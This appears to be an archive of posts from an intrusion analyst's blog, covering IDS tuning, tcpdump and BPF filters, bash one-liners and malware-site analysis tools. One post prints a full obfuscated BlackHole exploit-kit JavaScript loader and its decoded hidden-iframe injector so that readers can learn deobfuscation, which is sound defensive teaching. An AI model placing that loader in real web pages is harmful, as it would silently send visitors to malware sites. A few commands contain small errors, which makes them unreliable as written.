Awking from Hal Pomeranz

On the Command Line Kung Fu blog (blog.commandlinekungfu.com), Hal Pomeranz has written up an excellent introduction to the awk utility. You can view it here. It's the clearest, easiest to understand article on awk I've ever seen. Kudos to him and Ed Skoudis for maintaining this excellent resource.

More Detailed Spondulas Example

One of the advantages of Spondulas over other similar tools is that it supports POST requests. Here's an example from an IDS alert I recently saw, showing the additional steps in submitting a Spondulas request using the POST method:


[root@muckabout spondulas]# python3 spondulas.py -u "http://www.newsday.com/logger/p.gif" -a -r POST
http://www.newsday.com/logger/p.gif
POST requests must have variables.
Please enter POST variables......

Format: parameter1=value&parameter2=value&parameter3=value....

Post vars: parameter1=a=1.4275134&parameter2=d=/2.810/2.893/2.906&parameter3=type=MIXEDTYPE&ct=430_432,430,0

Enter a referrer if you were redirected from another site.
If there is no referrer, you can leave this blank.

Referrer should be in the format: http://www.example.com/somepath/file.html

Referrer: http://www.newsday.com/sports/football/bears-wr-brandon-marshall-heard-of-players-using-viagra-to-gain-edge-1.4275134

Cookies are used to track state on the same web site.
Enter any cookies that were set for this web site...

Cookies should be in the format: cookie1=value1; cookie2=value2

Enter each line separately. Press enter on a blank line to finish entering

Cookies: visited=true
Cookies: JSESSIONID=222C0040D266FDD184C0FAD6E0065177
Cookies: SKSESSION=10.5.145.229
Cookies: s_pers=%20gpv_ch%3DSports%7C1354918554944%3B%20s_depth%3D1%7C1354918554944%3B%20s_vnum%3D1357508754944%2526vn%253D1%7C1357508754944%3B%20s_invisit%3Dtrue%7C1354918554944%3B%20dslv%3D1354916754944%7C1449524754944%3B%20dslv_s%3DFirst%2520Visit%7C1354918554944%3B%20s_vnum_w%3D1355029200959%2526vn%253D1%7C1355029200959%3B%20sinvisit_w%3Dtrue%7C1354918554959%3B%20ri_ch%3DSports%7C1355089554959%3B%20ri_c38%3Darticle%7C1355089554959%3B%20sspp%3D1354916754959%7C1354918554959%3B
Cookies: tmpPersistentst
Cookies:


Query being sent
----------------
POST /logger/p.gif HTTP/1.1
Host: www.newsday.com
User-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.newsday.com/sports/football/bears-wr-brandon-marshall-heard-of-players-using-viagra-to-gain-edge-1.4275134
Cookie: visited=true
Cookie: JSESSIONID=222C0040D266FDD184C0FAD6E0065177
Cookie: SKSESSION=10.5.145.229
Cookie: s_pers=%20gpv_ch%3DSports%7C1354918554944%3B%20s_depth%3D1%7C1354918554944%3B%20s_vnum%3D1357508754944%2526vn%253D1%7C1357508754944%3B%20s_invisit%3Dtrue%7C1354918554944%3B%20dslv%3D1354916754944%7C1449524754944%3B%20dslv_s%3DFirst%2520Visit%7C1354918554944%3B%20s_vnum_w%3D1355029200959%2526vn%253D1%7C1355029200959%3B%20sinvisit_w%3Dtrue%7C1354918554959%3B%20ri_ch%3DSports%7C1355089554959%3B%20ri_c38%3Darticle%7C1355089554959%3B%20sspp%3D1354916754959%7C1354918554959%3B
Cookie: tmpPersistentst
Content-Length: 97

parameter1=a=1.4275134&parameter2=d=/2.810/2.893/2.906&parameter3=type=MIXEDTYPE&ct=430_432,430,0



Do not be alarmed if the progam appears to "hang."
This is caused by keep-alive packets. A timeout exception
will be raised after 30 seconds.

Birds away.....
.IP address: 66.54.17.120
..............................
Target URL: www.newsday.com/logger/p.gif
IP address: 66.54.17.120
Referrer: http://www.newsday.com/sports/football/bears-wr-brandon-marshall-heard-of-players-using-viagra-to-gain-edge-1.4275134
Date/Time: 2012-12-13 11:09:05
Output File: 001.txt
Links File: 001-links.txt



Cookies
--------------------
visited=true; domain=www.newsday.com; expires=Friday, 14-Dec-2012 16:08:34 GMT; path=/
tmpPersistentstatsUserId=63c7555ac82755e12360f5da377883a4; Domain=.newsday.com; Expires=Fri, 13-Dec-2013 16:08:34 GMT; Path=/
SKSESSION=10.5.145.228; path=/

[root@muckabout spondulas]#

Another Handy CLI Tool: iftop

iftop is a handy way to quickly start a bandwidth monitor on an interface from the command line. It takes a number of parameters, most of which can be toggled on and off from the ncurses interface (like top).
-n disables hostname look ups and -N does the same for ports. -p runs promiscuous mode and -P turns on the ports display (appended to the end of the IP address and separated with a colon, like tcpdump). -b disables the bandwidth meter (a highlight bar on the IP's row that shows graphically how much traffic is being passed), and -B changes the stats to bytes per second instead of bits. -i specifies the interface, like many network tools and -f specifies the filter. You don't need to specify a filter of "ip" as only IP packets are counted; it's already set.
Other  parameters deal with netmasks and an optional alternate config file.

Hackers For Charity

Hackers For Charity provides basic needs for some of the poorest of the poor in Uganda, as well as bringing technology to the people of Uganda for training and access to knowledge that most of us take for granted.
Johnny Long and his family are bringing hope and help to those otherwise forgotten by the world.
You may be familiar with Johnny from his work with Google Hacking, his speaking engagements at many conferences including Def Con and Black Hat, and the plethora of books he's written.
If you'd like to make a difference in the lives of folks who really have no means to help themselves, please go to http://www.hackersforcharity.org/ and make as generous a donation as possible. Your gift will so help someone who would have no hope if it weren't for Johnny and the those who partner with him by donating. Thank you in advance.

SourceFire Default Setting - Server Flow Depth

If you're running SourceFire, there's a setting in the HTTP Configuration module you'll want to check when doing your tuning and configuration. Under the Configuration section, 5th setting down, you'll find Server Flow Depth. This setting has to do with how many bytes of HTTP server response data the rules inspect. It's a little more complex than that, as there are other settings that help determine what parts of the data are looked at, but that's all well documented. The thing to look at here is the default setting, which is 500 bytes. Possible values are 1-65,535 to specify a particular number of bytes, or 0 for all, including data that exceeds 65,5535. 500 is a very low value here, even though the docs say the rules usually target the headers or traffic that will be in the first hundred of so bytes of data.

I started testing larger values here by increasing this to 5,000 bytes. That's a ten fold increase of the default, but still far smaller than the recommended value of 65,535. The change was startling, as we saw an immediate increase in the number of alerts, some from rules that had never fired before. I monitored two of the busiest sensors in the system and saw no noticeable hit in performance.

To cut to the chase, I tried values of 10,000, 50,0000 and finally the recommended 65,535 bytes. None of those values gave me an unacceptable performance hit on the sensors, but each time the volume of alerts, what had been false negatives, went up in large measure. 

The amount of tuning needing done on the new, heretofore unseen traffic was on par with having added a new segment to monitor. It was amazing and disconcerting how much traffic that low default setting had blinded the sensors to.  

The moral of the story here is check every configuration item carefully and make sure you understand what each one does. IDS is a complex beast and you might be missing a lot traffic you should be seeing if you're not careful.

Bash to Check Packet Captures (Again)

To expand on the previous example a little..

To do a little more specific searching if you need, say,  certain packets from an IP in a certain time frame:

1.Put your file names into a file:

Here's the output of ls -lah:

-rw-r--r--. 1 root root 573M Oct 15 07:42 external3.1350301240


Our file name is in the ninth field (separated by spaces, the default in awk)

So we list the files, grep for a date, pipe the output into awk, telling it to print to the screen (stdout) the ninth field and redirect to a file called "list":


ls -lah | grep 'Oct 15' | awk '{print $9}' > list


Use this list of files to search for an IP address and write the packets out to another pcap file:


for i in $( cat list );do tcpdump -nnvve -r $i -s0 -X 'host 10.10.10.1' -w interesting_events.pcap

A Little More On Spondulas

As I mentioned before, Bart Hooper gave a great presentation on malware site analysis at Derby Con (suggest you watch the video if you monitor IDS and have to deal with end users accessing malicious sites). In his presentation he demo'd a tool he wrote called Spondulas. Spondulas is a web browser emulator and link parser. It grabs the raw output from the site, performs any needed post-processing, and saves an output file with the categorized links listed for you. Very nice tool that extends the functionality of tools like Malzilla.
 It's features (from the tool's Wiki site, found here) are:

• Support for GET and POST methods
• Parsing of retrieved pages to extract and categorize links
• Support for HTTP and HTTPS methods
• Support for non-standard port numbers
• Support for the submission of cookies
• Support for SOCKS5 proxy using TOR
• Support for pipe-lining (AJAX)
• Monitor mode to poll a website looking for changes in DNS or body content
• Input mode to parse local HTML files, e.g., e-mailed forms
• Automatic conversion of GZIP and Chunked encoding
• Automatic IP address Look-up
• Selection or generation of User Agent Strings
• Automatic creation of an investigation file

You can download either the Python-based  Linux version or the Windows version, which comes in 32 or 64 bit flavors. Excellent tool. Worth a second mention.

DerbyCon 2.0 Videos

IronGeek has gotten the videos of DerbyCon 2012 up already, four days after the end of the conference. They're up on his site found here. At the bottom of the page are links to the archive.org postings of the videos, which include the archive torrents.
Day1
Day2
Day3
It was an excellent conference and I'll be busy for quite a while replaying the most interesting talks and listening to all the ones I couldn't be in.

DerbyCon

I'm at DerbyCon this weekend, and I can recommend some of the talks as being of special interest to intrusion analysts.

Bart Hooper did an excellent talk called "Hunting Evil", where he spoke on the subject of obfuscated malware, especially JavaScript, and methods on decoding it. He did a nice walk through of deobfuscating a BlackHole Exploit landing page, using a new tool he wrote called Spondulas. Spondulas was written to extend and update the work that other  tools such as Malzilla (one of my favorites) do. It supports POST requests, GET requests and Ajax persistent connections and has a monitor mode that will systematically requery the site and record changes that have been made to it. It will follow through the redirect chain and pull down each site and file it for inspection.

Doug Burks did a great talk on the new beta version of Security Onion. If you're not familiar with Security Onion, it's a distribution  with pre-configured versions of Snort, Sguil, Snorby, Elsa, PRADS, Bro, Suricata, Network Miner, Squert and more. Doug has taken the project from originally being a Live CD to a enterprise level project supporting a network of distributed sensors. This is really the easiest way to get up and running with IDS and analysis tools. If you're just starting out and want a platform to to work with and learn on, the sensor and console can both be installed on the same box with a few clicks and a few answers to some basic questions.

H.D. Moore of Metasploit fame did the first talk of the conference on the "Wild West" of the Internet, sharing results from his massive survey of ports, services and platforms. The results are somewhat shocking, as we haven't come nearly as far as we'd like to think in locking down our infrastructure. The basic security tenants of patching, upgrading, shutting down unneeded services and not exposing unneeded services to the public are still not being heeded.

Finally, the talk by Jeff Moss was excellent. Jeff spoke on the general direction of network and information security, he talked about his current tenure with ICANN, and laid out the political and financial forces that are shaping the direction of the Internet. Highly recommended.

Quick base64 decode

You can quickly decode base64 while doing analysis from the shell by using the Linux base64 command.
In the data below, we have a base64 encoded string that our IDS has alerted on.

src=\"data:text/html;base64,PGh0bWw+PGhlYWQ+PGJhc2UgdGFyZ2V0PSdfdG9wJyAvPgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+CmZ1bmN0aW9uIG5ld193aW5kb3coKSB7Cgl2YXIgYW5jaG9ycyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdhJyk7CgkJZm9yKHZhciBpID0gMDsgaSA8IGFuY2hvcnMubGVuZ3RoOyBpKyspIHsKCQlhbmNob3JzW2ldLnRhcmdldCA9ICdfdG9wJzsKCQkJfQoJCX0Kd2luZG93Lm9ubG9hZCA9IG5ld193aW5kb3c7Cjwvc2NyaXB0Pgo8L2hlYWQ+PGJvZHk+PGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+PHA+PGltZyBzcmM9Imh0dHA6Ly9jMzkuc21hYXRvLm5ldC9vYXBpL2ltZy9hZHNwYWNlci5naWY/ZT0xMDYiIGFsdD0iIiAvPjwvcD48L2Rpdj48L2JvZHk+PC9odG1sPg==\" target=\"_top\" width=\"100%\" style=\"min-height: 48px; max-height: 52px;\" ......

To decode this (assuming we got the full packet(s) and have the entire string, we can copy the base 64 string and echo it into base64, using the –d parameter to decode:

[jeff@analysis3 wgets]# echo 'PGh0bWw+PGhlYWQ+PGJhc2UgdGFyZ2V0PSdfdG9wJyAvPgo8c2NyaXB0IHR5cGU9J3RleHQvamF2YXNjcmlwdCc+CmZ1bmN0aW9uIG5ld193aW5kb3coKSB7Cgl2YXIgYW5jaG9ycyA9IGRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCdhJyk7CgkJZm9yKHZhciBpID0gMDsgaSA8IGFuY2hvcnMubGVuZ3RoOyBpKyspIHsKCQlhbmNob3JzW2ldLnRhcmdldCA9ICdfdG9wJzsKCQkJfQoJCX0Kd2luZG93Lm9ubG9hZCA9IG5ld193aW5kb3c7Cjwvc2NyaXB0Pgo8L2hlYWQ+PGJvZHk+PGRpdiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyI+PHA+PGltZyBzcmM9Imh0dHA6Ly9jMzkuc21hYXRvLm5ldC9vYXBpL2ltZy9hZHNwYWNlci5naWY/ZT0xMDYiIGFsdD0iIiAvPjwvcD48L2Rpdj48L2JvZHk+PC9odG1sPg==' | base64 -d

Output:


[jeff@analysis3 wgets]#

A Little Bash Helps Check Those Packet Captures

If you've just started out in network security and are new to Linux as well, you might not yet be familiar with the built-in scripting support in the Linux shell. It's very useful for all sorts of tasks, and that includes going through a directory recursively and taking some action on each file.
Let's say you have a directory of packet captures from some sniffer you're running, and you need to check to see if there are any packets with a particular IP address. You can do this easily with a small bash script using the "for" loop.
 Change to the packet capture directory and run this command:

for i in $( ls ); tcpdump -nn -r  $i 'host 10.10.1.1';done

The for loop will read in the output of the ls command and populate the variable $i with the first file name which tcpdump will use, and proceed with the next file through each iteration. You can put this in a script file, though for simple scripts like this it may be better just to use it from the command line. That way you can add as much to tcpdump to narrow or expand your search. What if you wanted to see all packets from all capture files that have both the SYN and FIN flags set? (bad traffic for certain)

for i in $( ls );do tcpdump -nn -r $i 'tcp[13] & 0x03 = 3';done

This is the simplest of uses of bash scripting, which is a powerful tool. There are many sites that will give you a step by step tutorial on using bash scripting (and the scripting built into other shells, like csh, if you're not a bash user).

Malzilla Take Two

Malzilla is a really good tool to have in your intrusion analyst's toolbox. Lately I've been seeing a number of BlackHole alerts, most of which use an obfuscation method that looks like this:


try{1-prototype;}catch(asd){x=2;} if(x){f=[0,-1,94,93,22,29,91,101,88,108,99,90,101,106,35,94,91,105,60,98,90,100,91,99,107,105,55,112,74,86,94,68,86,100,91,29,30,88,100,91,111,28,32,81,37,84,31,112,4,-1,-2,0,95,91,105,87,98,92,104,29,32,49,2,0,-1,114,23,91,97,106,91,21,114,3,-2,0,-1,89,102,89,106,100,91,99,107,36,108,105,95,105,92,30,23,51,95,91,105,87,98,92,22,104,105,89,50,30,94,105,107,102,47,38,37,94,98,89,87,101,93,101,112,36,98,105,88,86,106,95,88,37,89,100,100,37,52,94,101,50,41,29,21,110,95,89,107,94,50,30,39,37,30,22,93,92,95,92,95,106,50,30,39,37,30,22,104,107,111,97,92,51,28,109,95,104,96,88,94,99,95,105,112,48,93,96,90,89,92,100,48,103,101,104,96,106,94,102,100,47,88,88,104,102,98,106,107,91,48,99,91,91,107,48,37,50,106,100,103,48,37,50,29,51,51,37,94,93,104,86,100,91,51,25,31,48,4,-1,-2,116,3,-2,0,92,106,101,89,105,96,101,99,23,95,91,105,87,98,92,104,29,32,113,2,0,-1,-2,109,87,103,23,92,21,52,22,89,102,89,106,100,91,99,107,36,88,105,91,86,107,91,58,99,91,98,92,100,105,31,29,94,93,104,86,100,91,28,32,49,91,37,105,90,107,55,105,107,104,94,89,107,105,92,30,28,106,104,88,30,34,28,95,106,105,103,48,36,38,95,96,90,88,99,94,102,110,37,99,103,89,87,104,96,89,35,90,101,98,38,53,92,102,51,39,30,31,48,93,36,104,107,111,97,92,36,107,96,105,94,89,95,97,96,106,110,52,29,93,96,90,89,92,100,28,50,92,35,106,106,110,99,91,35,103,101,104,96,106,94,102,100,50,30,87,87,106,101,97,108,106,90,30,49,91,37,105,105,112,98,90,37,98,90,93,106,50,30,38,28,50,92,35,106,106,110,99,91,35,107,101,101,52,29,37,30,49,91,37,105,90,107,55,105,107,104,94,89,107,105,92,30,28,110,95,89,107,94,28,35,29,38,39,29,30,50,92,35,106,91,105,56,106,105,105,95,87,108,106,90,31,29,93,92,95,92,95,106,28,35,29,38,39,29,30,50,3,-2,0,-1,89,102,89,106,100,91,99,107,36,92,92,106,58,99,91,98,92,100,105,106,56,110,75,87,92,69,87,98,92,30,28,89,101,89,112,29,30,82,38,82,37,87,101,103,91,99,91,57,93,96,98,89,31,92,30,50,3,-2,0,115];v="eva";}if(v)e=window[v+"l"];w=f;s=[];r=String;z=((e)?"Co"+"de":"");zx=((e)?"fromChar":"")+z;for(i=0;575-5+5-i>0;i+=1){j=i;if(e)s=s+r[zx]((w[j]*1+(9+e("j%3"))));} if(x&&f&&012===10)e(s);

Deobfuscating this by hand isn't much fun if you're not a JavaScript programmer. Fortunately, getting the clear text result of this block of code is as easy as copying and pasting it into Malzilla's  Decoder tab (or putting the URL into the Download tab). Malzilla will prompt you to save the downloaded script into a text file for evaluation, if you use the second method. But if your IDS has already captured the data content, the Decoder function will work fine.

Here's the result:


if (document.getElementsByTagName('body')[0]){
iframer();
} else {
document.write("");
}
function iframer(){
var f = document.createElement('iframe');f.setAttribute('src','http://(redacted).com/?go=2');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);

We can now see the code was a hidden iframe, pointing to a malicious downloader site, which fortunately is no longer up.

The secondary benefit of this is as a teaching tool. If you don't speak JavaScript, you can look at the obfuscated code block and the decoded result and begin to learn how the methods are working. Well, maybe.

JavaScript unescape obfuscated code

A quick way to decode SOME simple obfuscation of Javascript is to use the Malzilla tool, found at http://malzilla.sourceforge.net/downloads.html

Malzilla can take a string, like this one found in an “INDICATOR-OBFUSCATION Potential obfuscated javascript eval unescape attack attempt” alert, and deobfuscate it, while replacing eval with evla, to prevent the script from running (to be safer, you should run this on a virtual machine with no networking or on a test box)

eval(unescape('%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%61%20%68%72%65%66%3d%22%6d%61%69%6c%74%6f%3a%69%64%62%40%62%61%63%6b%62%65%61%74%6d%65%64%69%61%2e%63%6f%6d%3f%73%75%62%6a%65%63%74%3d%69%44%6f%77%6e%6c%6f%61%64%42%6c%6f%67%25%32%30%41%64%76%65%72%74%69%73%69%6e%67%25%32%30%49%6e%66%6f%25%32%30%52%65%71%75%65%73%74%22%3e%41%64%76%65%72%74%69%73%65%3c%2f%61%3e%27%29%3b'))

Make sure when you copy this from the content data into the Decoder tab, your parenthesis match up. Once run through the tool (make sure you leave the “Replace eval with evla option enabled”), this decodes to:

document.write('subject=iDownloadBlog%20Advertising%20Info%20Request">Advertise');

This one wasn't malicious, but we didn't know that until we deobfuscated it. 

Windows Sidebar

Sophos is reporting that the Windows Sidebar and it's Gadgets have been found to be an attack vector from malicious code (not exactly an unthought-of of concept) and has released a “Fix It” tool, not a patch. The tool simply disables the Sidebar, and in Windows 8 it will no longer exist. 

Sophos' blog post about his can be found here.

Site and Code Checking

As the attack vector over the years has shifted from external attacks on the network to client side exploits via Web browsers, it's become important for an intrusion analyst to be able to determine if a site is malicious and to be able to do some manner of analysis of mobile code. Analysts without a programming background are at a disadvantage here, as sorting though lines and lines of obfuscated Javascript and other code can be difficult at best. Fortunately there are some very good resources to help learn the process (the Handler's Diary on the Internet Storm Center has some great articles by folks like Tom Liston and others). In the mean time, there are also sites that can do some of the heavy lifting by automating analysis. It's not a substitute for having the technical knowledge of how to disassemble heavily obfuscated code, but it can help quite a bit.
Here are a few sites I've found over the years that might help:

http://jsunpack.jeek.org/dec/go
http://www.darkfader.net/toolbox/convert/
http://www.opinionatedgeek.com/dotnet/tools/Base64Decode/Default.aspx
http://www.rishida.net/tools/conversion/
http://jsbeautifier.org/
http://centricle.com/tools/ascii-hex/
http://meyerweb.com/eric/tools/dencoder/
http://www.crypo.com/tools/index.php
http://www.greymagic.com/security/tools/decoder/
http://home.paulschou.net/tools/xlate/
http://www.yellowpipe.com/yis/tools/encrypter/index.php
https://isc.sans.edu/tools/base64.html

 And here are some sites that will attempt to determine if the site is running malicious code:

http://wepawet.iseclab.org/
http://zulu.zscaler.com/
http://www.ipvoid.com/
https://www.virustotal.com/#url
http://www.robtex.com/
http://global.sitesafety.trendmicro.com/
http://safeweb.norton.com/

A nice little tool for code/site analysis is Malzilla, which can be found at:
http://malzilla.sourceforge.net/



You should heed the warning on the jsunpack site and run these tools with a limited user account, with No-Script turned on, and preferably from a virtual machine or a throw-away test box on an isolated network segment.

Fedora 16 - Security Spin

I was poking around the Fedora website the other day and went to the spins page (http://spins.fedoraproject.org/) and noticed one on security. I'd not seen this before and downloaded it to give it a test drive (I'm working off of it right now, as a matter of fact).  Spins are simply live images that use a particular window manager (like KDE or Gnome) or that have groups of packages installed for a particular purpose.
Besides the security spin, there are also spins for games, electronics, robotics, scientific computing, and multimedia and publishing. I won't list all the apps on the security spin here; you can go to https://fedorahosted.org/security-spin/wiki/availableApps and find the list yourself.
The collection is a nice attempt to provide a little of everything. It's not going to replace BackTrack as your pen testing platform, and there other bootable images for forensics with greater breadth of tools, but it's a nice start, especially if you've not used a live boot security toolkit before.
The one area I would add a bit more to if I were doing this myself would be in the intrusion detection area. What's there is mostly in the arena of host based detection (chkrootkit, rkhunter, aide) though they do include pads, which I'm not familiar with.
I'd like to see more network based intrusion detection along the lines of the excellent Security Onion distribution, from Doug Banks, or the (evidently) no longer active HeX toolkit (http://geek00l.blogspot.com/2008/08/hex-20-rc1-is-now.html).
Dougs Security Onion, (http://securityonion.blogspot.com/), provides you with snort, Suricata, Squil, Snorby, Bro and a host of others. Adding just a few of these to the Fedora spin would make it a little more rounded, I think, since the intent seems to be to provide a wide range of tools in different areas of NetSec.
But, all in all, I think it's a good distro, and if you're just getting started and want to try out tools in a lot of different areas, it's worth a look.
By the way, there's a nice list of security live boots at: http://www.securitydistro.com/security-distros/
Have fun!

Site Checking

There are a number of sites that will check an URL for you to try and determine if it's hosting malicious code. Some of the ones I've found and use include:
1. Wepawet: http://wepawet.iseclab.org/ Wepawet will check a site for either malicious Java or Flash.
2. VirusTotal: https://www.virustotal.com/#url Though VirusTotal is most well known for it's file scanning service (running samples through multiple vendors AV engines to determine malicious executables), they also offer a URL scanning service as well.
3. Zulu: http://zulu.zscaler.com/ Zulu checks for phishing pages, obfuscated Javascript, suspicious domain names, SURBL blocks, parked domains as well as other checks.
4. Robtex: http://www.robtex.com/ Though Robtex is not a URL site checker per se, when you search on a URL or domain, Robtex reports rbls.org blacklistings and the WOT reputation, and pages for the site with Google Safe Browsing, McAfee Site Advisor, and Norton Safe Web.

DShield

DShield is an extension of the SANS Internet Storm Center and is a "distributed intrusion detection system for data collection and analysis", to quote their site. What this means, quite simply, is that DShield aggregates firewall logs submitted from all over the world, analyzes them, and makes the information available to anyone to use. What you'll find on the site is trending information on what ports are being probed and attacked and who the top attackers are. What makes it really interesting (and useful) is that if you are a contributor, you can see what IP addresses have been targeting you (via the My Reports page and if you so elect, daily summary emails.
To participate, which benefits not only yourself, but the NetSec community at large by increasing the pool of knowledge, you would do the following:

1. Download and install a syslog server (for Windows, Kiwi from Solarwinds works well and is free).
2. Point your broadband router firewall at it.
3. Install the Dshield client and configure it and point it at your syslog file.
4. Use Task Scheduler to run the client at least once a day and no more than once an hour. 

I left out a whole lot of niggling details there, but it's not that difficult to get up and running, there is documentation, and help is available by sending an email to the address provided if you can't get it going. Of course, if you're using some other type of firewall (like a Linux box and iptables) or want to send anonymized logs from a commercial firewall, you'll need to do a little more to get things set up.

The client, called cvtwin, has built in support for most of the major manufacturers of broadband equipment formats. My current router is a Buffalo, and cvtwin parses the logs nicely with no tweaking needed.

You can find the information and the client for download at http://www.dshield.org. You'll not only get some impressive insight into who's thumping your door (without all that manual log inspection), but you'll be helping the overall security of the Internet as well. What a bargain! =-)

Using Filter Files

tcpdump will read BPF's from a file, using the -F switch, making it easy to reuse long, complex or just difficult to remember filters. Unfortunately, there is no way to use a multi-line file, so you must create one file for one filter. To make this a little easier you can create a directory and put all your filter files in it and then set a environment variable for it, like bpf=/home/jeff/netsec/bpf_filters. They you can use the $bpf variable in your command. Tab completion will let you choose between similarly named filters like "syn_only" and "syn-ack_only". You'll probably want to make your filter names as intuitive as possible, but if you find yourself constructing filters to string four or five or more conditions, giving it an (accurate) name that isn't almost as long as the filter itself can be problematic. So, another way to do this is to create a text file with a list of of all your filters, giving each file a number as a name. Then, to use that filter to check for source routing, all you need to do is specify -F . Much easier than typing out a BPF like:
'ip[0] & 0x0F > 5 and (ip[20] = 0x89 or ip[20] = 0x83)'.

BPF Filters Across Protocol Header Boundaries

BPF has keywords to address layer 3 and layer 4 protocols, such as IP, TCP, UDP and ICMP. But what if you need check the value of a field in a higher layer protocol, such as DNS? If the header you're working with is static, that is, never changes size like UDP, you can then go past the end of that header and into the next. Johnathan Ham teaches this in the excellent FOR558 Network Forensics class at SANS.
To use his example, say you wanted to filter packets to see only DNS queries. The QR bit in the DNS header, which specifies whether a DNS packet is a query or an answer, is found in the 2nd byte offset from zero in the DNS header, or the third byte. Since a UDP header is always exactly eight bytes long, we can extend what byte we specify past the end of that header and into the DNS header. The last UDP byte is number 7 (it consists of bytes 0-7), and we want to drill down to the second byte from zero in the DNS header. Counting from that 7th byte, that would be the 10th byte from the beginning of UDP. Our field is one byte in length, and the QR bit is first bit on the left, or as it's known, the highest order (or most significant) bit. Networking is big endian, meaning we address bits from the left to the right, the same way English speakers read. Now we need to apply our bit masking to check the value of just that one bit. As we know, we want to apply a bitwise AND operation to all the bits, using a one to preserve the bit and a zero to mask the bits we don't care about. So our byte is laid out like this:

QR  Opcode   AA TC RD
 0     1  2 3 |4   5    6    7

Our first nibble, or four bits, contains the QR bit and the first three bits of the Opcode field (bits 0-3).
Our second nibble contains the last Opcode bit, the AA bit, the TC bit and the RD bit (bits 4-7).

If you want to know what those other bits are used for, you can take a look here.

So our mask would be 1000 0000 in binary. Our first nibble has a one in the 8's column (2 to the power of 3) and everything else is zeroed out, so in hex our mask would be 0x80. We apply that mask using our BPF filter and look for a value of 0 in that bit (which designates a query, as a value of 1 designates a response).

We can add port 53 for some extra assurance we get DNS queries and not syslog or other UDP traffic. The tcpdump command I used is: tcpdump -nnvvv -i eth0 'udp[10] & 0x80 = 0 and port 53'

And sure enough, what I end up is packets that look something like this:


21:20:49.596637 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto UDP (17), length 60)
    x.x.x.x.2051 > 208.67.222.123.53: [udp sum ok] 2800+ A? ws.immunet.com. (32)

Here we see a query from one of my boxes (munged to x.x.x.x) to an OpenDNS server for the address record of ws.immunet.com.

Now if we change the value from 0 to our mask value in our filter (udp[10] & 0x80 = 0x80), we can look for DNS answers instead. (Or we could just specify not 0, since the only other possible value would be a one). So we could use 'udp[10] & 0x80 != 0'
Either one would work. Very nice!

NetSec and Linux

   Network Security requires having knowledge in a large number of areas. I can't think of a job in IT that requires a person to have at least some expertise in so many areas. How much a learning curve it is depends, of course, on where you came from to get to your first NetSec position. If you're starting straight out of college, and you took an Information Security track in school, you've no doubt been introduced to some or most of what you'll need. If you were already in IT, you may have moved into the field from a server or infrastructure team, or perhaps from desktop or a help desk. Regardless of what your knowledge base is, if you don't know the basics of working in Linux, you'll soon find out it's a prerequisite. (If you're going to work in Information Security and deal with things like access controls, policies, audits and vulnerability testing, you may not need much in the way of knowing Linux.)

   The primary reason you'll need to get familiar with Linux is that the majority of NetSec applications (like IDS/IPS, log servers, packet auditing and so forth) and security tools run either exclusively or best on Linux.
There are some very decent Windows-only tools and some popular tools have Windows ports of them, but most of the really good tools were designed to run in Linux. (I've been told that Wireshark is a rare exception and actually runs better on Windows than Linux, but I have no proof that's the case).
Fortunately, there is an absolute glut of sites that's sole purpose is to help you learn Linux step by step. And Linux has a huge user base that relishes in helping out people new to the OS and getting them up to speed. You can take commercial, paid training courses if you wish, at places like New Horizons, Babbage-Simmel or other training centers, but the help you get through the Linux community makes that unnecessary (though if your company WANTS to pay you to learn Linux for a week in a classroom, no reason to turn it down).
Linux is, of course, free for the overwhelming majority of the distributions (a rare exception would be Red Hat Enterprise, where you pay for support and updates, but there's also the free community supported Fedora or CentOS which operationally are almost identical). You can download and install Linux on a box and get started immediately, or make a live boot disk on a CD, DVD or flash drive and use it anywhere. You can install the (free) virtual environment VirtualBox (from Oracle), then download several distros you'd like to try and run each one as a VM.

   However you  do it, you'll want to get up to speed as quickly as possible, as you'll find each new tool you need to do your job probably only runs on Linux or runs best on it. Linux has come a long way in terms of GUI support, but one of the advantages of Linux over Windows is how much less overhead it takes, so running from the terminal instead of X Server (the Linux GUI) is probably best. And you might as well learn to work from the command line from the start, as there may be situations where you'll need to work on a box that doesn't have X installed.

   As to what flavor to run, you'll not find anything close to a consensus anywhere. Everyone has their favorite, and most are passionate about why they believe their distro is superior to others. Personally I like Fedora and I managed boxes running RedHat Enterprise for many years. The boxes I inherited at my current position run another flavor (though now that I've taken over the care and feeding, that will change at the next reload). I've worked with Debian, Ubuntu, Slackware and others and most of the commands are identical except in things like network setup and package management.Other popular distros include CentOS, Mint, Mandriva, Arch, and Gentoo. Those are just a few. The site distrowatch.com is a great place to get the newest versions of whatever you run and find something new to try out. There are currently 317 distributions of Linux listed on the site (note that distrowatch does not host all these versions, but provides info on them and links to the developers site where you can download them).

    If all you've ever used before is Windows, there IS going to be a learning curve. But you might as well get started, because to work in NetSec, you'll need to learn a second "language". In my experience, the person who advised me told me to download FreeBSD and learn it (a flavor of UNIX, not Linux) as my first non-Windows OS. That was a bit of a nightmare and definitely not recommended as a first new system to learn. I know any version of Linux will be much kinder to you than that (though FreeBSD is a great system and very secure).  Have fun.

Multiple Byte BPF's

If you're just beginning to use BPF's, you'll soon find you need to address fields than span more than one byte. This is very easy to do with a BPF (Berkeley Packet Filter, if you didn't read the previous post). We know we begin our filter with the protocol header we want to work with, such as tcp, ip, udp or icmp and specify the byte the field is in (starting with that byte offset, or counting from zero.) When we worked with the TCP flags field, we used tcp[13]. When we need to work with a field that spans multiple bytes, all we need to do is append a colon to that byte number and then specify how many bytes we want the filter to read. So if we wish to look at the source port field, we would write it as tcp[0:2] (the source port field resides in byte 0 and byte 1 of the TCP header). Now our filter will look at just those two bytes. To only look at packets who source port is 37, we would use the filter 'tcp[0:2] = 37'
